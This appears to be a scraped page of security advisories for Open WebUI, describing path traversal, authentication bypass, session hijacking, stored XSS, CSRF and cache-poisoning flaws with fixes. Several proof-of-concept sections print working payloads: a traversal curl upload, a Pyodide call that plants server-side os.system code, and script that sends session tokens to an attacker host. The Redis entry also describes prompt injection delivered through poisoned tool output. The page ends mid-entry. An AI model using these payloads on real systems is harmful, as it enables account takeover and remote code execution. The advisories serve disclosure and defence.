Where
-Infinity
0
Severity
9.8
Path Traversal, Malicious File Upload
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CONFIDENTIAL

KL-CAN-2024-002

Vulnerability Details

| # | Field | Value | |---|-------|-------| | 1 | Discoverer | Jaggar Henry & Sean Segreti of KoreLogic, Inc. | | 2 | Date Submitted | 2024.03.12 | | 3 | Title | Open WebUI Arbitrary File Upload + Path Traversal | | 5 | Affected Vendor | Open WebUI | | 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) | | 7 | Affected Version(s) | 0.1.105 | | 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) | | 9 | Vector | HTTP web interface | | 10 | CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type |

---

4. High-level Summary

Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability.

---

11. Technical Analysis

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the /rag/api/v1/doc API route:

python @app.post("/doc") def storedoc( collectionname: Optional[str] = Form(None), file: UploadFile = File(...), user=Depends(getcurrentuser), ): # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"

print(file.contenttype) try: filename = file.filename filepath = f"{UPLOADDIR}/{filename}" contents = file.file.read() with open(filepath, "wb") as f: f.write(contents) f.close()

The file variable is a representation of the multipart form data contained within the HTTP POST request. The filename variable is derived from the uploaded file name and is not validated before writing the file contents to disk.

This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled authorizedkeys file to remotely connect to the machine.

---

12. Proof-of-Concept

Execute the following cURL command:

bash TARGETURI='https://redacted.com'; JWT='redacted'; LOCALFILE='/tmp/filetoupload.txt'\ curl -H "Authorization: Bearer $JWT" -F "file=$LOCALFILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGETURI/rag/api/v1/doc"

Verify the file pwned.txt exists in the /tmp/ directory on the machine hosting the web server:

console ollama@webserver:~$ cat /tmp/pwned.txt korelogic ollama@webserver:~$

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

LDAP Empty Password Authentication Bypass

Affected Component

LDAP authentication endpoint: - backend/openwebui/routers/auths.py (lines 468-477, user bind with empty password) - backend/openwebui/models/auths.py (lines 58-60, LdapForm model)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with LDAP authentication support.

Description

The LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. Per RFC 4513 Section 5.1.2, a Simple Bind with a valid DN and an empty password constitutes an "unauthenticated simple authentication" — many LDAP servers (including OpenLDAP in default configuration and some Active Directory setups) return success (resultCode 0) for this operation.

The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user.

python models/auths.py:58-60 — no minlength on password class LdapForm(BaseModel): user: str password: str

auths.py:469-477 — empty password reaches LDAP bind connectionuser = Connection( server, userdn, formdata.password, # can be "" autobind='NONE', authentication='SIMPLE', ) if not await asyncio.tothread(connectionuser.bind): raise HTTPException(400, 'Authentication failed.')

If bind succeeds (which it does with empty password on many servers), execution continues and a full session token is issued

CVSS 3.1 Breakdown

| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via the LDAP login endpoint | | Attack Complexity | Low (L) | Single request with an empty password field | | Privileges Required | None (N) | No prior authentication needed | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the application's authentication boundary | | Confidentiality | High (H) | Full access to victim's account data — chats, files, API keys, settings | | Integrity | High (H) | Can modify victim's data, settings, send messages as victim | | Availability | None (N) | No direct denial of service |

Attack Scenario

1. LDAP authentication is enabled on the Open WebUI instance. 2. The underlying LDAP server accepts unauthenticated simple binds (OpenLDAP default, some AD configs). 3. Attacker sends: POST /api/v1/auths/ldap {"user": "adminusername", "password": ""} 4. The app DN bind succeeds normally (line 366), finds the target user via LDAP search. 5. The user bind (line 469-477) sends a Simple Bind with the target's DN and an empty password. 6. The LDAP server returns success for the unauthenticated bind. 7. authenticateuserbyemail (line 507) issues a full session token for the target user. 8. Attacker has complete access to the victim's account.

Impact

- Complete authentication bypass — any LDAP user account can be taken over without knowing the password - Includes admin accounts if they authenticate via LDAP - No rate limiting on the LDAP endpoint (unlike the password signin endpoint) - Zero interaction required from the victim

Preconditions

- LDAP must be enabled (ENABLELDAP=True, disabled by default) - The LDAP server must accept unauthenticated simple binds with empty passwords (OpenLDAP default behavior, configurable on AD) - Attacker must know a valid LDAP username

1 / 2
Source: GitHub
First published (updated )
Severity
9
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Title: Same-origin Pyodide code execution allows server-side RCE via a shared chat

Summary

Open WebUI runs client-side Python (Pyodide) in a same-origin web worker. Through Pyodide's JavaScript API (pyodide.http.pyfetch, or the js module which exposes the page's fetch / XMLHttpRequest) executed Python can issue requests on the application origin, and those requests carry the victim's session cookie. A low-privileged user can store such a payload in a chat message, share the chat, and when a victim opens it and clicks Run the payload executes authenticated same-origin requests as the victim. When the victim is an admin (or a user holding workspace.functions / workspace.tools permissions) the payload creates a Function/Tool whose body runs server-side, yielding remote code execution.

Details

Pyodide's js bridge gives Python in the worker the same reach as inline JavaScript on the origin, and the worker is same-origin, so a credentialed request to the app's own API is authenticated as the victim. No separate XSS sink is required: storing the payload in a shared chat and having the victim run it is enough.

python from pyodide.http import pyfetch import json await pyfetch('/api/v1/functions/create', method='POST', credentials='include', headers={'Content-Type': 'application/json'}, body=json.dumps({'id': 'x', 'name': 'x', 'meta': {'description': 'x'}, 'content': "import os; os.system('<attacker command>')"}))

Impact

When the victim runs the shared code, an authenticated low-privileged user achieves remote code execution on the server (the created Function/Tool runs server-side Python) if the victim is an admin or holds workspace.functions / workspace.tools permissions. More generally the executed code can issue any authenticated request as the victim. Requires the victim to click Run, and Open WebUI configured to use Pyodide.

Patched

Pyodide now runs in a sandboxed iframe at an opaque origin by default (sandbox="allow-scripts", no allow-same-origin). At an opaque origin pyfetch, fetch and XMLHttpRequest to the app become cross-origin requests that carry no session cookie and are CORS-blocked, and the js bridge operates on the isolated iframe window with no access to the parent's cookie, token, localStorage or DOM. Full Python, JavaScript and external fetch keep working. IDBFS persistence is available only behind ENABLEPYODIDEFILEPERSISTENCE=true, which restores the same-origin worker and re-accepts this risk.

Workaround

Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option.

Credits

@gg0h

1 / 2
Source: GitHub
First published (updated )
Severity
9
Code Injection, Infoleak
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

An authenticated low-privilege user can execute arbitrary code-interpreter Python and tools inside another user's authenticated session. The Socket.IO event-caller (geteventcall) delivers execute:python / execute:tool events to a client-supplied sessionid after only checking that the session is connected, never that it belongs to the requester. Combined with ydoc:document:join, which exposes the live socket ids of everyone in a shared note's collaboration room to any read-access participant, an attacker can target a victim's session and run attacker-chosen code/tools in the victim's browser context. When the victim is an administrator, that hijacked context reaches the admin-only Functions API, whose source is executed server-side, yielding remote code execution as the server process (root in the default container).

Affected component

- backend/openwebui/socket/main.py — geteventcall() / eventcaller - backend/openwebui/main.py — chat-completion metadata (sessionid taken from the request body)

Root cause

The event-caller routes to a caller-controlled session id with no ownership check:

python backend/openwebui/socket/main.py — geteventcall() async def eventcaller(eventdata): sessionid = requestinfo['sessionid'] if sessionid not in SESSIONPOOL: # only checks the session is connected return {'error': 'Client session disconnected.'} return await sio.call('events', {...}, to=sessionid, ...) # delivered to that sid

sessionid originates from the request body and is never validated against the authenticated user:

python backend/openwebui/main.py metadata = { 'userid': user.id, # server-derived (trustworthy) 'sessionid': formdata.pop('sessionid', None), # client-controlled ... }

SESSIONPOOL[sessionid] is the user record of whoever owns that socket. Because the caller checks only membership (in SESSIONPOOL), a request carrying another user's sessionid causes execute:python / execute:tool to be delivered to that other user's browser.

Reachability

- execute:python / execute:tool are emitted from the code-interpreter and tool-call paths (utils/middleware.py, tools/builtin.py), all routed through geteventcall. - The victim's live sessionid is disclosed to any read-access participant of a shared note via ydoc:document:join. - POST /api/v1/chat/completions requires only getverifieduser (the default user role). The attacker uses their own account and a model / Direct Connection they control to choose the payload.

Impact

- Any victim: arbitrary code-interpreter Python and tool execution in the victim's authenticated session — the attacker acts with the victim's identity and origin (full session/account compromise). - Admin victim: the hijacked admin context reaches POST /api/v1/functions/create, whose source is exec()'d server-side → remote code execution as the server process (root in the default container).

The Functions API is intended administrator code-execution; the vulnerability here is the cross-user delivery that lets an attacker drive another user's session — including an admin's — into it. The primitive is a full session compromise even against non-admin victims.

Proof of Concept

The reporter's exploit.py reproduced on ghcr.io/open-webui/open-webui:0.9.6 and a build of the v0.9.6 tag, confirming blind server-side RCE out-of-band (callback returns uid=0(root)), using only a low-privilege user account that shared a note with an admin victim. Preconditions: code interpreter enabled; attacker shares a note with the victim; victim opens it while online; admin victim required for server RCE.

Fix

geteventcall must verify the target session belongs to the requesting user before delivering, not merely that it is connected:

python session = SESSIONPOOL.get(sessionid) if session is None or session.get('id') != requestinfo.get('userid'): return {'error': 'Client session disconnected.'}

userid in the request metadata is server-derived from the authenticated user, so it is trustworthy. Restricting ydoc:document:join so it does not disclose other participants' socket ids is recommended as defence-in-depth.

Affected / Patched

- Affected: < 0.10.0 (last affected release 0.9.6) - Patched: v0.10.0. geteventcall now verifies the target session belongs to the requesting user before delivering (session is None or session.get('id') != requestinfo.get('userid')), using the server-derived userid from the request metadata. The recommended ydoc:document:join sid-disclosure restriction is defence-in-depth and independent of this fix; the ownership check closes the cross-user delivery regardless of whether the victim's sid is known.

1 / 2
Source: GitHub
First published (updated )
Severity
9
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

open-webui before 0.3.14 contains a cross-origin resource sharing misconfiguration allowing arbitrary origins with alloworigins= and authenticated requests to the /api/v1/functions endpoint. Attackers can execute arbitrary code on the openwebui instance by crafting malicious cross-site requests from attacker-controlled websites when an admin user visits them.

First published (updated )
Severity
8.8
CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

A vulnerability in open-webui/open-webui versions <= 0.3.8 allows remote code execution by non-admin users via Cross-Site Request Forgery (CSRF). The application uses cookies with the SameSite attribute set to lax for authentication and lacks CSRF tokens. This allows an attacker to craft a malicious HTML that, when accessed by a victim, can modify the Python code of an existing pipeline and execute arbitrary code with the victim's privileges.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Code Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Rejected reason: Open WebU's investigation further investigation showed that this is intended functionality of the Plugins extension system, in which users granted the relevant permission author Python that the server executes by design, and not a security issue. https://docs.openwebui.com/security/vendor-dispositions/cve-2026-0766

1 / 2
Source: NVD
First published (updated )
Severity
8.8
OS Command Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Rejected reason: Open WebU's investigation further investigation  showed that this is intended functionality of the Plugins extension system, in which users granted the relevant permission author Python that the server executes by design, and not a security issue. https://docs.openwebui.com/security/vendor-dispositions/cve-2026-0765

1 / 2
Source: NVD
First published (updated )
Severity
8.8
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLECODEEXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes.

Details

The admin configuration correctly shows ENABLECODEEXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.

PoC

Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.

Setup: Jupyter server connected, ENABLECODEEXECUTION=false confirmed in admin config.

bash Step 1: Verify code execution is disabled curl -s http://target:8080/api/v1/configs/codeexecution \ -H "Authorization: Bearer $TOKEN" Returns: {"ENABLECODEEXECUTION": false, ...}

Step 2: Execute code anyway — gate bypassed curl -s -X POST http://target:8080/api/v1/utils/code/execute \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"code":"import os; print(os.popen(\"id\").read())"}'

Verified output:

Config: {"ENABLECODEEXECUTION":false,"CODEEXECUTIONENGINE":"jupyter",...}

executestatus=200 executebody={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}

The PoC read the internal secret service content via Jupyter — despite ENABLECODEEXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.

Impact

Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:

- Arbitrary code execution in the Jupyter container (read files, spawn processes) - Network access to all internal Docker services from the Jupyter container - Data exfiltration from internal services - The admin's security configuration (ENABLECODEEXECUTION=false) is silently ineffective - Users who are told "code execution is disabled" have a false sense of security

Resolution

Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/openwebui/routers/utils.py now checks request.app.state.config.ENABLECODEEXECUTION before dispatching to the Jupyter engine and returns 403 with FEATUREDISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

The OAuth token exchange endpoint accepts a raw provider access token and validates it by calling the provider's userinfo endpoint. A userinfo endpoint reports only that a token is valid, never which OAuth client it was issued to, and the endpoint performed no audience or client check of its own. Anyone holding an access token minted for any client registered with the same provider could exchange it for an Open WebUI session as that token's user, including applications the operator does not control and has never authorised.

Preconditions

- ENABLEOAUTHTOKENEXCHANGE=True. Disabled by default, so a stock deployment is not affected. - The victim already has an Open WebUI account. The endpoint does not create users. - The attacker can obtain a provider access token for the victim, typically by having them sign in to an unrelated OAuth application on the same provider. On public providers, registering that application is self-service. - The subject identifier the attacker's client observes matches the one stored on the victim's account. Google, GitHub, Okta and self-hosted OIDC servers in default configuration issue a subject that is stable across all clients and are directly affected. Microsoft Entra ID issues per-application subjects, so the match fails there unless OAUTHMERGEACCOUNTSBYEMAIL is enabled or OAUTHSUBCLAIM points at a globally stable claim such as oid. - OAUTHALLOWEDDOMAINS is enforced on this endpoint but does not constrain the attack, because the impersonated user is a legitimate member of an allowed domain.

Impact

Full account takeover of any user whose provider access token the attacker can obtain. The endpoint applies no role gating, so the issued session carries the target account's role, and a targeted administrator yields an administrator session. The victim never interacts with Open WebUI and has no opportunity to notice.

The standard OAuth callback is not affected. It obtains its token through an authorization-code exchange authenticated with the client secret, so the token is inherently bound to Open WebUI's own client, and the ID token's audience is validated.

Fix

Fixed in 0.11.0. The endpoint now resolves which OAuth client a presented token was issued to through RFC 7662 token introspection, and rejects tokens minted for any client not named in OAUTHTOKENEXCHANGETRUSTEDCLIENTIDS. Only the introspected clientid is honoured; the aud field is ignored, because it names intended resource servers rather than the issuing client and several providers let any client place another client's identifier there.

Upgrading alone is not sufficient. The check is opt-in: with OAUTHTOKENEXCHANGETRUSTEDCLIENTIDS unset the endpoint behaves as it did before, so any deployment running with ENABLEOAUTHTOKENEXCHANGE=True must also set that list. It is a deploy-time environment variable and cannot be changed from the admin interface, so a compromised administrator session cannot widen the trust boundary at runtime.

Providers that do not implement RFC 7662 introspection, including Google, Microsoft Entra ID, GitHub and Feishu, cannot be restricted this way at all. On those, token exchange has no safe configuration and should be left disabled.

Root cause

- backend/openwebui/routers/auths.py, tokenexchange (POST /api/v1/auths/oauth/{provider}/token/exchange)

Token exchange skips the authorization-code step entirely and trusts a token supplied by the caller. The only validation performed was a userinfo lookup, which answers whether a token is valid rather than who issued it, so the endpoint had no way to distinguish a token minted for Open WebUI from one minted for an unrelated application.

Proof of concept

Reproduced against a mock OIDC provider serving two tokens for the same end user, minted for two different clients, with OAUTHALLOWEDDOMAINS=corp.example actively enforced.

| Case | Token | Result | | --- | --- | --- | | Control | not recognised by the provider | 400 rejected | | Outsider's own account, non-allowed domain | minted for attacker-evil-app | 403 blocked by domain allowlist | | Victim's account, foreign client | minted for attacker-evil-app | 200, session issued for victim@corp.example |

The issued session token was confirmed usable: GET /api/v1/auths/ returned 200 authenticated as the victim. The provider log recorded the token as minted for clientid='attacker-evil-app', while Open WebUI's own client is openwebui-client-id.

Credits

Reported by @Classic298.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.

This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.

Details

Vulnerability Location

File: src/lib/components/notes/utils.ts Function: downloadPdf() Vulnerable Code (Line 35):

typescript const contentNode = document.createElement('div');

contentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization

node.appendChild(contentNode); document.body.appendChild(node);

Root Cause

1. Incomplete TipTap Editor Configuration - Open-WebUI only uses TipTap StarterKit - No Schema definition for dangerous tags like SVG, Script - Unknown HTML tags are stored as raw HTML 2. Missing Sanitization During PDF Generation - note.data.content.html is directly assigned to innerHTML - No DOMPurify or other sanitization - Stored malicious HTML executes as-is

PoC

Environment - Open-WebUI latest version (v0.6.36) - Admin account

Step 1: Create Malicious Markdown File

Filename: tokenstealer.md

markdown <svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg> navigator.sendBeacon() was used to bypass CORS.

Step 2: Import to Notes

1. Login to Open-WebUI 2. Click "Notes" in the left menu 3. Drag and drop the Markdown file 4. Note is automatically created

Step 3: Trigger PDF Download

1. Access Notes menu (/notes) 2. Click ⋯ on the right side of the uploaded note 3. Select "Download" → "PDF document (.pdf)" 4. JavaScript executes

Step 4: Verify Token Theft

Attacker's server log: http POST /steal HTTP/1.1 Host: redacted Content-Type: text/plain;charset=UTF-8 Content-Length: 145

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ibhIG4LayFw

And Simple PoC alert(1) Filename: simplepoc.md

markdown <svg onload="alert(1)"></svg> <img width="1089" height="310" alt="image" src="https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f" />

---

Impact

CVSS 3.1 Score: 8.7 (High)

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Vulnerability Type CWE-79: Cross-site Scripting (XSS) CWE-116: Improper Encoding or Escaping of Output

Affected Users - All Open-WebUI users - Especially users utilizing the Notes feature

Attack Scenario 1. Attacker shares malicious note (.md file) in the community 2. Victim uploads the shared note (.md file) 3. Victim downloads as PDF 4. XSS vulnerability triggers 5. Victim's session (localStorage.token) is stolen

---

Recommended Patch

typescript // src/lib/components/notes/utils.ts:35 import DOMPurify from 'dompurify';

const contentNode = document.createElement('div');

// Sanitize with DOMPurify contentNode.innerHTML = DOMPurify.sanitize(html, { ALLOWEDTAGS: [ 'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead', 'tbody', 'tr', 'td', 'th' ], ALLOWEDATTR: ['href', 'class', 'target'], FORBIDTAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'], FORBIDATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'], ALLOWDATAATTR: false });

node.appendChild(contentNode);

---

References

- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html - DOMPurify: https://github.com/cure53/DOMPurify

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Redis Cache Keys toolservers and terminalservers Missing Instance Prefix Enable Cross-Instance Cache Poisoning

Affected Component

Tool server and terminal server Redis cache: - backend/openwebui/utils/tools.py (line 841, toolservers SET) - backend/openwebui/utils/tools.py (line 850, toolservers GET) - backend/openwebui/utils/tools.py (line 976, terminalservers SET) - backend/openwebui/utils/tools.py (line 986, terminalservers GET)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions since the tool server / terminal server Redis cache was introduced.

Description

Open WebUI uses a REDISKEYPREFIX (default open-webui) to namespace Redis keys, allowing multiple instances to safely share a single Redis backend. Every Redis key in the codebase uses this prefix — except the toolservers and terminalservers keys in utils/tools.py, which use bare key names.

When two or more Open WebUI instances share a Redis database (a supported and documented deployment pattern, e.g., for multi-region deployments, blue-green setups, or cluster topologies), the unprefixed keys collide. An admin on Instance A writing to toolservers overwrites the value read by Instance B — causing Instance B's users to receive Instance A's tool server configuration.

python utils/tools.py — unprefixed keys (problem) await request.app.state.redis.set('toolservers', ...) # line 841 json.loads(await request.app.state.redis.get('toolservers')) # line 850 await request.app.state.redis.set('terminalservers', ...) # line 976 json.loads(await request.app.state.redis.get('terminalservers')) # line 986

Every other Redis key in the codebase — prefixed (correct pattern) f'{REDISKEYPREFIX}:auth:token:{jti}:revoked' f'{REDISKEYPREFIX}:ratelimit:{email}:{bucket}' f'{REDISKEYPREFIX}:tasks:commands'

Attack Scenario

Two Open WebUI instances (A and B) share a Redis backend — a supported deployment for multi-region setups, blue-green deployments, or hot-standby. Both instances have their own admin accounts; the shared Redis was chosen for coordinated session handling, rate limiting, and task management.

1. Attacker is an admin on Instance A (a legitimately provisioned admin, or one that escalated via any available path including the LDAP empty-password or stale-admin-role findings). 2. Attacker on Instance A configures a tool server pointing to https://attacker-controlled.example.com/openapi.json. This triggers utils/tools.py:841 to write the new tool server list under the bare key toolservers. 3. Instance B's users query tools. Instance B reads from toolservers (line 850) — gets Instance A's poisoned list, which now includes the attacker's server alongside or instead of Instance B's legitimate tool servers. 4. Instance B's users invoke tools through the model's context. The attacker's server receives tool call payloads containing: chat content, user identity, OAuth tokens scoped to the tool server (if the user has bound their external account), and in-flight conversation context. 5. The attacker's server returns arbitrary tool responses, which are fed back into Instance B's LLM context as "trusted tool output" — enabling prompt injection, misinformation delivery, and further data exfiltration cascades.

The same cross-instance poisoning applies to terminalservers.

Impact

- Cross-instance cache poisoning: an admin on one instance affects all users of another instance sharing the Redis backend - Data exfiltration: tool call payloads contain chat content and user identity, delivered to the attacker's server - Prompt injection delivery: attacker-returned tool responses enter the victim instance's LLM context as trusted data - Undermines the multi-instance isolation guarantee that REDISKEYPREFIX was introduced to provide - Silent failure mode: no error is raised; the victim instance sees a valid, signed cache entry and has no way to detect it came from a different instance

Preconditions

- Multiple Open WebUI instances share a single Redis backend (a supported and documented deployment) - Attacker has admin access on one of the instances (or escalates to admin via any available path)

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS, Input Validation
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheettohtml to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger.

Details The function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133 XLSX attachments are processed by this function, converted to HTML with XLSX.utils.sheettohtml before ultimately being assigned to the variable excelHtml. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected. https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400

PoC A python script to generate a payload file is as follows: python import xlsxwriter payload = '<img src=x onerror="alert(\'XSS Triggered by XLSX file\')">' workbook = xlsxwriter.Workbook('xsspayload.xlsx') worksheet = workbook.addworksheet() payloadformat = workbook.addformat() worksheet.writerichstring('A1', 'This cell contains a hidden payload: ', payloadformat, payload ) worksheet.write('A2', 'This is a safe cell.') worksheet.write('B1', 'Column B') workbook.close()

Upload the generated file as an attachment to a chat, open the file modal, and click preview. Observe the XSS triggers. <img width="2444" height="1386" alt="image" src="https://github.com/user-attachments/assets/8400efb0-ea6f-4878-abdb-4c2fe529241f" /> This same process can be triggered in shared chats, allowing the payload to be distributed to victims. <img width="2386" height="1646" alt="image" src="https://github.com/user-attachments/assets/d0eda49c-8fcf-4fc4-bbb0-c8951b0369c3" />

Impact Any user can create a weaponised chat that can be shared and subsequently used to target other users.

Low privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server.

Admins are at risk of exposing the server to RCE via same chain described in GHSA-w7xj-8fx7-wfch.

Caveats The file attachment in the shared chat must be opened and previewed to trigger the vulnerability.

Recommendation Sanitise the generated HTML with DOMPurify before assigning it to the DOM.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS, Malicious File Upload
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHEDIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details Verified on main @ 8dae237a (v0.9.2): - backend/openwebui/routers/audio.py:1244-1249 — ext = safename.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No allowlist, no cross-check against file.contenttype. - backend/openwebui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(filepath). Starlette derives Content-Type from the filename extension and sets no Content-Disposition. - backend/openwebui/utils/misc.py:889-921 — strictmatchmimetype defaults to ['audio/', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body. - backend/openwebui/config.py:1482 — USERPERMISSIONSCHATSTT defaults to True. - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin. - backend/openwebui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False. PoC Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. python import struct, httpx

data = b'\x80' 44100 wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE', b'fmt ', 16, 1, 1, 44100, 44100, 1, 8, b'data', len(data)) + data payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>' r = httpx.post( 'https://VICTIM/api/v1/audio/transcriptions', headers={'Authorization': f'Bearer {ATTACKERJWT}'}, files={'file': ('pwn.html', payload, 'audio/wav')}, ) fn = r.json()['filename'] # '<uuid>.html' #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie. Workaround: set USERPERMISSIONSCHATSTT=False to revoke the upload right from non-admins.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

Open WebUI renders Mermaid blocks from Markdown files in the file preview panel and inserts the generated SVG into the DOM using innerHTML.

Because Mermaid is configured with securityLevel: 'loose', attacker-controlled Mermaid content can be rendered unsafely in this flow. A working payload was validated through the Markdown preview path, resulting in JavaScript execution in the victim’s browser under the application origin.

This is a confirmed stored XSS vulnerability reachable through normal product functionality.

Affected Version

- main - Reproduced on v0.8.12

Affected Code

Mermaid is initialized in permissive mode:

https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/src/lib/utils/index.ts#L1698 The file preview path renders Mermaid output and injects the returned SVG into the DOM:

https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/src/lib/components/chat/FileNav/FilePreview.svelte#L133

Impact

A successful exploit allows JavaScript execution in the victim’s browser under the Open WebUI origin when a malicious Markdown file is opened in the preview panel.

PoC

